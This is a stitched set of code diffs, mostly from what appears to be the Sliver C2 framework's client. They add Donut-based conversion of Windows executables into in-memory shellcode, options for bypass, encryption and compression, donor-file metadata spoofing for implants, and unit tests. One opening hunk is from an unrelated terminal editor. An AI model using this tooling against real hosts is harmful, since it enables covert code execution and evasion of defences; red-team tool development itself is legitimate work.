return b.String()
|
||||
return editorView(b.String())
|
||||
}
|
||||
|
||||
b.WriteByte('\n')
|
||||
b.WriteString(lineStyle.Width(m.width).Render(m.commandLine()))
|
||||
return b.String()
|
||||
return editorView(b.String())
|
||||
}
|
||||
|
||||
func renderStatusBar(width int, text string) string {
|
||||
return ansiReverseOn + lineStyle.Width(width).Render(text) + ansiReverseOff
|
||||
}
|
||||
|
||||
func renderCursorCell(cell string) string {
|
||||
return ansiReverseOn + cell + ansiReverseOff
|
||||
}
|
||||
|
||||
func editorView(content string) tea.View {
|
||||
v := tea.NewView(content)
|
||||
v.AltScreen = true
|
||||
return v
|
||||
}
|
||||
|
||||
func (m *editorModel) result() editorResult {
|
||||
@@ -176,8 +194,8 @@ func (m *editorModel) result() editorResult {
|
||||
}
|
||||
}
|
||||
|
||||
func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
||||
switch msg.Type {
|
||||
func (m *editorModel) handleCommand(key tea.Key) (tea.Model, tea.Cmd) {
|
||||
switch key.Code {
|
||||
case tea.KeyEsc:
|
||||
m.mode = modeNormal
|
||||
m.command = ""
|
||||
@@ -196,14 +214,16 @@ func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
||||
}
|
||||
case tea.KeyBackspace:
|
||||
m.command = popRune(m.command)
|
||||
case tea.KeyRunes:
|
||||
m.command += string(msg.Runes)
|
||||
default:
|
||||
if key.Text != "" {
|
||||
m.command += key.Text
|
||||
}
|
||||
}
|
||||
return m, nil
|
||||
}
|
||||
|
||||
func (m *editorModel) handleInsert(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
||||
switch msg.Type {
|
||||
func (m *editorModel) handleInsert(key tea.Key) (tea.Model, tea.Cmd) {
|
||||
switch key.Code {
|
||||
case tea.KeyEsc:
|
||||
m.mode = modeNormal
|
||||
case tea.KeyEnter:
|
||||
@@ -222,8 +242,8 @@ func (m *editorModel) handleInsert(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
||||
m.moveDown()
|
||||
case tea.KeyTab:
|
||||
m.insertRune('\t')
|
||||
case tea.KeyRunes:
|
||||
for _, r := range msg.Runes {
|
||||
default:
|
||||
for _, r := range key.Text {
|
||||
m.insertRune(r)
|
||||
}
|
||||
}
|
||||
@@ -231,8 +251,8 @@ func (m *editorModel) handleInsert(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
||||
return m, nil
|
||||
}
|
||||
|
||||
func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
||||
switch msg.Type {
|
||||
func (m *editorModel) handleNormal(key tea.Key) (tea.Model, tea.Cmd) {
|
||||
switch key.Code {
|
||||
case tea.KeyEsc:
|
||||
m.pending = 0
|
||||
case tea.KeyLeft:
|
||||
@@ -243,8 +263,8 @@ func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
||||
m.moveUp()
|
||||
case tea.KeyDown:
|
||||
m.moveDown()
|
||||
case tea.KeyRunes:
|
||||
for _, r := range msg.Runes {
|
||||
default:
|
||||
for _, r := range key.Text {
|
||||
if m.handleNormalRune(r) {
|
||||
break
|
||||
}
|
||||
@@ -409,9 +429,9 @@ func (m *editorModel) renderLine(index int) string {
|
||||
if cursor >= start && cursor <= start+contentWidth {
|
||||
rel := cursor - start
|
||||
if rel < len(visible) {
|
||||
lineText = string(visible[:rel]) + cursorStyle.Render(string(visible[rel])) + string(visible[rel+1:])
|
||||
lineText = string(visible[:rel]) + renderCursorCell(string(visible[rel])) + string(visible[rel+1:])
|
||||
} else {
|
||||
lineText = string(visible) + cursorStyle.Render(" ")
|
||||
lineText = string(visible) + renderCursorCell(" ")
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -917,11 +937,11 @@ func (m *editorModel) applyCursor(rendered, highlighted string, line []rune, sta
|
||||
}
|
||||
if cursor == len(line) {
|
||||
left := ansi.Cut(highlighted, start, cursor)
|
||||
return left + cursorStyle.Render(" ")
|
||||
return left + renderCursorCell(" ")
|
||||
}
|
||||
left := ansi.Cut(highlighted, start, cursor)
|
||||
right := ansi.Cut(highlighted, cursor+1, end)
|
||||
return left + cursorStyle.Render(string(line[cursor])) + right
|
||||
return left + renderCursorCell(string(line[cursor])) + right
|
||||
}
|
||||
|
||||
func (m *editorModel) executeSearch(pattern string) {
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package exec
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
@@ -33,7 +34,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
|
||||
f.StringP("stdout", "O", "", "remote path to redirect STDOUT to")
|
||||
f.StringP("stderr", "E", "", "remote path to redirect STDERR to")
|
||||
f.Bool("env-inheritance", true, "inherit environment variables from the current process")
|
||||
f.Bool("env-inheritance", false, "inherit environment variables from the current process")
|
||||
f.StringArray("env", nil, "set an environment variable for the child process (key=value)")
|
||||
f.StringP("name", "n", "", "name to assign loot (optional)")
|
||||
f.Uint32P("ppid", "P", 0, "parent process id (optional, Windows only)")
|
||||
@@ -93,6 +94,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
|
||||
carapace.Gen(executeAssemblyCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to assembly file (required)"))
|
||||
carapace.Gen(executeAssemblyCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the assembly entrypoint (optional)"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(executeAssemblyCmd, 0)
|
||||
|
||||
executeShellcodeCmd := &cobra.Command{
|
||||
Use: consts.ExecuteShellcodeStr,
|
||||
@@ -112,6 +114,14 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.BoolP("shikata-ga-nai", "S", false, "encode shellcode using shikata ga nai prior to execution")
|
||||
f.StringP("architecture", "A", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
|
||||
f.Uint32P("iterations", "I", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
|
||||
f.Uint32("shellcode-entropy", 1, "Shellcode entropy (Donut: 1=none, 2=random names, 3=random+encrypt) (windows PE input only)")
|
||||
f.Bool("shellcode-compress", false, "Enable shellcode compression (aPLib) (windows PE input only)")
|
||||
f.Uint32("shellcode-exitopt", 1, "Shellcode exit option (Donut: 1=exit thread, 2=exit process, 3=block) (windows PE input only)")
|
||||
f.Uint32("shellcode-bypass", 3, "Shellcode bypass mode (Donut: 1=none, 2=abort, 3=continue) (windows PE input only)")
|
||||
f.Uint32("shellcode-headers", 1, "Shellcode headers handling (Donut: 1=overwrite, 2=keep) (windows PE input only)")
|
||||
f.Bool("shellcode-thread", false, "Run unmanaged EXE entrypoint as a new thread (Donut) (windows PE input only)")
|
||||
f.Bool("shellcode-unicode", false, "Use Unicode command line for unmanaged DLL entrypoints (Donut) (windows PE input only)")
|
||||
f.Uint32("shellcode-oep", 0, "Override original entry point (OEP) (Donut) (windows PE input only)")
|
||||
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
@@ -119,6 +129,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
(*comp)["shikata-ga-nai"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures")
|
||||
})
|
||||
carapace.Gen(executeShellcodeCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shellcode file (required)"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(executeShellcodeCmd, 0)
|
||||
|
||||
sideloadCmd := &cobra.Command{
|
||||
Use: consts.SideloadStr,
|
||||
@@ -147,6 +158,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
|
||||
carapace.Gen(sideloadCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shared library file (required)"))
|
||||
carapace.Gen(sideloadCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the binary (optional)"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(sideloadCmd, 0)
|
||||
|
||||
spawnDllCmd := &cobra.Command{
|
||||
Use: consts.SpawnDllStr,
|
||||
@@ -175,6 +187,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
|
||||
carapace.Gen(spawnDllCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to DLL file (required)"))
|
||||
carapace.Gen(spawnDllCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the DLL entrypoint (optional)"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(spawnDllCmd, 0)
|
||||
|
||||
migrateCmd := &cobra.Command{
|
||||
Use: consts.MigrateStr,
|
||||
@@ -260,6 +273,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
(*comp)["custom-exe"] = carapace.ActionFiles()
|
||||
(*comp)["profile"] = generate.ProfileNameCompleter(con)
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(psExecCmd, "custom-exe")
|
||||
carapace.Gen(psExecCmd).PositionalCompletion(carapace.ActionValues().Usage("hostname (required)"))
|
||||
|
||||
sshCmd := &cobra.Command{
|
||||
@@ -290,6 +304,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
(*comp)["private-key"] = carapace.ActionFiles()
|
||||
(*comp)["kerberos-keytab"] = carapace.ActionFiles()
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletions(sshCmd, "private-key", "kerberos-keytab")
|
||||
|
||||
carapace.Gen(sshCmd).PositionalCompletion(carapace.ActionValues().Usage("remote host to SSH to (required)"))
|
||||
carapace.Gen(sshCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("command line with arguments"))
|
||||
|
||||
@@ -20,27 +20,44 @@ package exec
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/Binject/debug/pe"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
wasmdonut "github.com/sliverarmory/wasm-donut"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/term"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultExecuteShellcodeDonutEntropy = wasmdonut.DonutEntropyNone
|
||||
defaultExecuteShellcodeDonutCompress = wasmdonut.DonutCompressNone
|
||||
defaultExecuteShellcodeDonutExitOpt = wasmdonut.DonutExitThread
|
||||
defaultExecuteShellcodeDonutBypass = wasmdonut.DonutBypassContinue
|
||||
defaultExecuteShellcodeDonutHeaders = wasmdonut.DonutHeadersOverwrite
|
||||
imageFileDLLMask = 0x2000
|
||||
)
|
||||
|
||||
// ExecuteShellcodeCmd - Execute shellcode in-memory.
|
||||
func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
targetName := activeTargetName(session, beacon)
|
||||
targetOS := activeTargetOS(session, beacon)
|
||||
targetArch := activeTargetArch(session, beacon)
|
||||
|
||||
rwxPages, _ := cmd.Flags().GetBool("rwx-pages")
|
||||
interactive, _ := cmd.Flags().GetBool("interactive")
|
||||
@@ -60,6 +77,27 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
||||
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
|
||||
return
|
||||
}
|
||||
|
||||
shellcodeConfig, shellcodeFlagsChanged, err := parseExecuteShellcodeFlags(cmd)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
shouldConvertPE, isDLLHint := shouldConvertExecuteShellcodePE(shellcodePath, shellcodeFlagsChanged)
|
||||
if shouldConvertPE {
|
||||
if targetOS != "windows" {
|
||||
con.PrintErrorf("PE input and --shellcode-* options are only supported for Windows targets in execute-shellcode\n")
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Converting PE input to shellcode ...\n")
|
||||
shellcodeBin, err = donutShellcodeFromPE(shellcodeBin, targetArch, isDLLHint, shellcodeConfig)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to convert PE input to shellcode: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
shikataGaNai, _ := cmd.Flags().GetBool("shikata-ga-nai")
|
||||
if shikataGaNai {
|
||||
if !rwxPages {
|
||||
@@ -96,7 +134,7 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
||||
return
|
||||
}
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
|
||||
msg := fmt.Sprintf("Sending shellcode to %s ...", targetName)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
|
||||
Data: shellcodeBin,
|
||||
@@ -135,6 +173,186 @@ func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverClient) {
|
||||
}
|
||||
}
|
||||
|
||||
func parseExecuteShellcodeFlags(cmd *cobra.Command) (*clientpb.ShellcodeConfig, bool, error) {
|
||||
shellcodeEntropy, _ := cmd.Flags().GetUint32("shellcode-entropy")
|
||||
shellcodeCompressEnabled, _ := cmd.Flags().GetBool("shellcode-compress")
|
||||
shellcodeExitOpt, _ := cmd.Flags().GetUint32("shellcode-exitopt")
|
||||
shellcodeBypass, _ := cmd.Flags().GetUint32("shellcode-bypass")
|
||||
shellcodeHeaders, _ := cmd.Flags().GetUint32("shellcode-headers")
|
||||
shellcodeThread, _ := cmd.Flags().GetBool("shellcode-thread")
|
||||
shellcodeUnicode, _ := cmd.Flags().GetBool("shellcode-unicode")
|
||||
shellcodeOEP, _ := cmd.Flags().GetUint32("shellcode-oep")
|
||||
|
||||
anyChanged := cmd.Flags().Changed("shellcode-entropy") ||
|
||||
cmd.Flags().Changed("shellcode-compress") ||
|
||||
cmd.Flags().Changed("shellcode-exitopt") ||
|
||||
cmd.Flags().Changed("shellcode-bypass") ||
|
||||
cmd.Flags().Changed("shellcode-headers") ||
|
||||
cmd.Flags().Changed("shellcode-thread") ||
|
||||
cmd.Flags().Changed("shellcode-unicode") ||
|
||||
cmd.Flags().Changed("shellcode-oep")
|
||||
|
||||
if shellcodeEntropy < 1 || shellcodeEntropy > 3 {
|
||||
return nil, false, fmt.Errorf("shellcode-entropy must be between 1 and 3")
|
||||
}
|
||||
if shellcodeExitOpt < 1 || shellcodeExitOpt > 3 {
|
||||
return nil, false, fmt.Errorf("shellcode-exitopt must be between 1 and 3")
|
||||
}
|
||||
if shellcodeBypass < 1 || shellcodeBypass > 3 {
|
||||
return nil, false, fmt.Errorf("shellcode-bypass must be between 1 and 3")
|
||||
}
|
||||
if shellcodeHeaders < 1 || shellcodeHeaders > 2 {
|
||||
return nil, false, fmt.Errorf("shellcode-headers must be 1 or 2")
|
||||
}
|
||||
|
||||
shellcodeCompress := uint32(1)
|
||||
if shellcodeCompressEnabled {
|
||||
shellcodeCompress = 2
|
||||
}
|
||||
|
||||
return &clientpb.ShellcodeConfig{
|
||||
Entropy: shellcodeEntropy,
|
||||
Compress: shellcodeCompress,
|
||||
ExitOpt: shellcodeExitOpt,
|
||||
Bypass: shellcodeBypass,
|
||||
Headers: shellcodeHeaders,
|
||||
Thread: shellcodeThread,
|
||||
Unicode: shellcodeUnicode,
|
||||
OEP: shellcodeOEP,
|
||||
}, anyChanged, nil
|
||||
}
|
||||
|
||||
func shouldConvertExecuteShellcodePE(shellcodePath string, shellcodeFlagsChanged bool) (bool, bool) {
|
||||
ext := strings.ToLower(filepath.Ext(shellcodePath))
|
||||
isPEByExt := ext == ".exe" || ext == ".dll"
|
||||
return isPEByExt || shellcodeFlagsChanged, ext == ".dll"
|
||||
}
|
||||
|
||||
func activeTargetName(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.GetName()
|
||||
}
|
||||
if beacon != nil {
|
||||
return beacon.GetName()
|
||||
}
|
||||
return "target"
|
||||
}
|
||||
|
||||
func activeTargetOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return strings.ToLower(session.GetOS())
|
||||
}
|
||||
if beacon != nil {
|
||||
return strings.ToLower(beacon.GetOS())
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func activeTargetArch(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.GetArch()
|
||||
}
|
||||
if beacon != nil {
|
||||
return beacon.GetArch()
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
type executeShellcodeDonutOptions struct {
|
||||
entropy int
|
||||
compress int
|
||||
exitOpt int
|
||||
bypass int
|
||||
headers int
|
||||
thread bool
|
||||
unicode bool
|
||||
oep uint32
|
||||
}
|
||||
|
||||
func normalizeExecuteShellcodeDonutConfig(config *clientpb.ShellcodeConfig) executeShellcodeDonutOptions {
|
||||
opts := executeShellcodeDonutOptions{
|
||||
entropy: defaultExecuteShellcodeDonutEntropy,
|
||||
compress: defaultExecuteShellcodeDonutCompress,
|
||||
exitOpt: defaultExecuteShellcodeDonutExitOpt,
|
||||
bypass: defaultExecuteShellcodeDonutBypass,
|
||||
headers: defaultExecuteShellcodeDonutHeaders,
|
||||
}
|
||||
if config == nil {
|
||||
return opts
|
||||
}
|
||||
if config.Entropy >= 1 && config.Entropy <= 3 {
|
||||
opts.entropy = int(config.Entropy)
|
||||
}
|
||||
if config.Compress >= 1 && config.Compress <= 2 {
|
||||
opts.compress = int(config.Compress)
|
||||
}
|
||||
if config.ExitOpt >= 1 && config.ExitOpt <= 3 {
|
||||
opts.exitOpt = int(config.ExitOpt)
|
||||
}
|
||||
if config.Bypass >= 1 && config.Bypass <= 3 {
|
||||
opts.bypass = int(config.Bypass)
|
||||
}
|
||||
if config.Headers >= 1 && config.Headers <= 2 {
|
||||
opts.headers = int(config.Headers)
|
||||
}
|
||||
opts.thread = config.Thread
|
||||
opts.unicode = config.Unicode
|
||||
if config.OEP > 0 {
|
||||
opts.oep = config.OEP
|
||||
}
|
||||
return opts
|
||||
}
|
||||
|
||||
func donutShellcodeFromPE(data []byte, arch string, isDLLHint bool, config *clientpb.ShellcodeConfig) ([]byte, error) {
|
||||
peFile, err := pe.NewFile(bytes.NewReader(data))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
isDLL := isDLLHint || ((peFile.FileHeader.Characteristics & imageFileDLLMask) != 0)
|
||||
ext := ".exe"
|
||||
if isDLL {
|
||||
ext = ".dll"
|
||||
}
|
||||
opts := normalizeExecuteShellcodeDonutConfig(config)
|
||||
result, err := wasmdonut.Generate(context.Background(), data, ext, wasmdonut.GenerateOptions{
|
||||
Ext: ext,
|
||||
Arch: getExecuteShellcodeDonutArch(arch),
|
||||
Bypass: opts.bypass,
|
||||
Headers: opts.headers,
|
||||
Entropy: opts.entropy,
|
||||
Compress: opts.compress,
|
||||
ExitOpt: opts.exitOpt,
|
||||
Thread: opts.thread,
|
||||
Unicode: opts.unicode,
|
||||
OEP: opts.oep,
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return addExecuteShellcodeStackCheck(result.Loader), nil
|
||||
}
|
||||
|
||||
func getExecuteShellcodeDonutArch(arch string) int {
|
||||
donutArch := wasmdonut.DonutArchX84
|
||||
switch strings.ToLower(arch) {
|
||||
case "x32", "x86", "386":
|
||||
donutArch = wasmdonut.DonutArchX86
|
||||
case "x64", "amd64":
|
||||
donutArch = wasmdonut.DonutArchX64
|
||||
case "x84":
|
||||
donutArch = wasmdonut.DonutArchX84
|
||||
}
|
||||
return donutArch
|
||||
}
|
||||
|
||||
func addExecuteShellcodeStackCheck(shellcode []byte) []byte {
|
||||
stackCheckPrologue := []byte{
|
||||
0x48, 0x83, 0xE4, 0xF0, // and rsp,0xfffffffffffffff0
|
||||
0x48, 0x83, 0xC4, 0x08, // add rsp,0x8
|
||||
}
|
||||
return append(stackCheckPrologue, shellcode...)
|
||||
}
|
||||
|
||||
func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverClient) {
|
||||
// Check active session
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
|
||||
@@ -0,0 +1,100 @@
|
||||
package exec
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func TestParseExecuteShellcodeFlagsDefaults(t *testing.T) {
|
||||
cmd := newExecuteShellcodeFlagsTestCommand(t)
|
||||
|
||||
cfg, changed, err := parseExecuteShellcodeFlags(cmd)
|
||||
if err != nil {
|
||||
t.Fatalf("parseExecuteShellcodeFlags returned error: %v", err)
|
||||
}
|
||||
if changed {
|
||||
t.Fatalf("expected changed=false with defaults")
|
||||
}
|
||||
if cfg == nil {
|
||||
t.Fatalf("expected non-nil config")
|
||||
}
|
||||
if cfg.Entropy != 1 || cfg.Compress != 1 || cfg.ExitOpt != 1 || cfg.Bypass != 3 || cfg.Headers != 1 {
|
||||
t.Fatalf("unexpected defaults: %+v", cfg)
|
||||
}
|
||||
if cfg.Thread || cfg.Unicode || cfg.OEP != 0 {
|
||||
t.Fatalf("unexpected default bool/OEP values: %+v", cfg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseExecuteShellcodeFlagsChanged(t *testing.T) {
|
||||
cmd := newExecuteShellcodeFlagsTestCommand(t)
|
||||
if err := cmd.Flags().Set("shellcode-entropy", "2"); err != nil {
|
||||
t.Fatalf("set shellcode-entropy: %v", err)
|
||||
}
|
||||
if err := cmd.Flags().Set("shellcode-compress", "true"); err != nil {
|
||||
t.Fatalf("set shellcode-compress: %v", err)
|
||||
}
|
||||
if err := cmd.Flags().Set("shellcode-thread", "true"); err != nil {
|
||||
t.Fatalf("set shellcode-thread: %v", err)
|
||||
}
|
||||
|
||||
cfg, changed, err := parseExecuteShellcodeFlags(cmd)
|
||||
if err != nil {
|
||||
t.Fatalf("parseExecuteShellcodeFlags returned error: %v", err)
|
||||
}
|
||||
if !changed {
|
||||
t.Fatalf("expected changed=true")
|
||||
}
|
||||
if cfg.Entropy != 2 || cfg.Compress != 2 || !cfg.Thread {
|
||||
t.Fatalf("unexpected changed config: %+v", cfg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseExecuteShellcodeFlagsValidation(t *testing.T) {
|
||||
cmd := newExecuteShellcodeFlagsTestCommand(t)
|
||||
if err := cmd.Flags().Set("shellcode-bypass", "9"); err != nil {
|
||||
t.Fatalf("set shellcode-bypass: %v", err)
|
||||
}
|
||||
if _, _, err := parseExecuteShellcodeFlags(cmd); err == nil {
|
||||
t.Fatalf("expected validation error for shellcode-bypass")
|
||||
}
|
||||
}
|
||||
|
||||
func TestShouldConvertExecuteShellcodePE(t *testing.T) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
path string
|
||||
flagsChanged bool
|
||||
wantConvert bool
|
||||
wantDLL bool
|
||||
}{
|
||||
{name: "exe by extension", path: "/tmp/payload.exe", flagsChanged: false, wantConvert: true, wantDLL: false},
|
||||
{name: "dll by extension", path: "/tmp/payload.dll", flagsChanged: false, wantConvert: true, wantDLL: true},
|
||||
{name: "raw shellcode", path: "/tmp/payload.bin", flagsChanged: false, wantConvert: false, wantDLL: false},
|
||||
{name: "flags force conversion", path: "/tmp/payload.bin", flagsChanged: true, wantConvert: true, wantDLL: false},
|
||||
}
|
||||
for _, tc := range testCases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
gotConvert, gotDLL := shouldConvertExecuteShellcodePE(tc.path, tc.flagsChanged)
|
||||
if gotConvert != tc.wantConvert || gotDLL != tc.wantDLL {
|
||||
t.Fatalf("unexpected result convert=%v dll=%v, expected convert=%v dll=%v", gotConvert, gotDLL, tc.wantConvert, tc.wantDLL)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func newExecuteShellcodeFlagsTestCommand(t *testing.T) *cobra.Command {
|
||||
t.Helper()
|
||||
|
||||
cmd := &cobra.Command{Use: "execute-shellcode"}
|
||||
cmd.Flags().Uint32("shellcode-entropy", 1, "")
|
||||
cmd.Flags().Bool("shellcode-compress", false, "")
|
||||
cmd.Flags().Uint32("shellcode-exitopt", 1, "")
|
||||
cmd.Flags().Uint32("shellcode-bypass", 3, "")
|
||||
cmd.Flags().Uint32("shellcode-headers", 1, "")
|
||||
cmd.Flags().Bool("shellcode-thread", false, "")
|
||||
cmd.Flags().Bool("shellcode-unicode", false, "")
|
||||
cmd.Flags().Uint32("shellcode-oep", 0, "")
|
||||
return cmd
|
||||
}
|
||||
@@ -79,10 +79,14 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if token || hidden || ppid != 0 {
|
||||
if (session != nil && session.OS != "windows") || (beacon != nil && beacon.OS != "windows") {
|
||||
con.PrintErrorf("The token, hide window, and ppid options are not valid on %s\n", session.OS)
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
return
|
||||
}
|
||||
if envInheritance || len(envVars) > 0 {
|
||||
con.PrintErrorf("The env and env-inheritance options are not supported with token, hidden, or ppid\n")
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
return
|
||||
}
|
||||
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package extensions
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/command/use"
|
||||
@@ -33,6 +34,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
}
|
||||
extensionCmd.AddCommand(extensionLoadCmd)
|
||||
carapace.Gen(extensionLoadCmd).PositionalCompletion(carapace.ActionDirectories().Usage("path to the extension directory"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(extensionLoadCmd, 0)
|
||||
|
||||
extensionInstallCmd := &cobra.Command{
|
||||
Use: consts.InstallStr,
|
||||
@@ -45,6 +47,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
}
|
||||
extensionCmd.AddCommand(extensionInstallCmd)
|
||||
carapace.Gen(extensionInstallCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to the extension .tar.gz or directory"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(extensionInstallCmd, 0)
|
||||
|
||||
extensionRmCmd := &cobra.Command{
|
||||
Use: consts.RmStr,
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package filesystem
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
@@ -174,6 +175,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
carapace.ActionValues().Usage("path to the file or directory to download"),
|
||||
carapace.ActionFiles().Usage("local path where the downloaded file will be saved (optional)"),
|
||||
)
|
||||
completers.RegisterLocalFilePathPositionalCompletion(downloadCmd, 1)
|
||||
|
||||
uploadCmd := &cobra.Command{
|
||||
Use: consts.UploadStr,
|
||||
@@ -194,6 +196,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
carapace.ActionFiles().Usage("local path to the file to upload"),
|
||||
carapace.ActionValues().Usage("path to the file or directory to upload to (optional)"),
|
||||
)
|
||||
completers.RegisterLocalFilePathPositionalCompletion(uploadCmd, 0)
|
||||
|
||||
memfilesCmd := &cobra.Command{
|
||||
Use: consts.MemfilesStr,
|
||||
|
||||
@@ -1,6 +1,9 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
|
||||
@@ -11,6 +14,15 @@ import (
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
const spoofMetadataLongHelp = `
|
||||
|
||||
Spoof Metadata:
|
||||
--spoof-metadata
|
||||
Use metadata settings from <client app dir>/spoof-metadata.yaml.
|
||||
--spoof-metadata /path/to/donor.exe
|
||||
Use metadata from the specified donor file. The donor must match the target format/goos/goarch.
|
||||
`
|
||||
|
||||
// Commands returns the “ command and its subcommands.
|
||||
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
// [ Generate ] --------------------------------------------------------------
|
||||
@@ -83,6 +95,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.BoolP("skip-tests", "s", false, "skip testing the traffic encoder (not recommended)")
|
||||
})
|
||||
carapace.Gen(trafficEncodersAddCmd).PositionalCompletion(carapace.ActionFiles("wasm").Tag("wasm files").Usage("local file path (expects .wasm)"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(trafficEncodersAddCmd, 0)
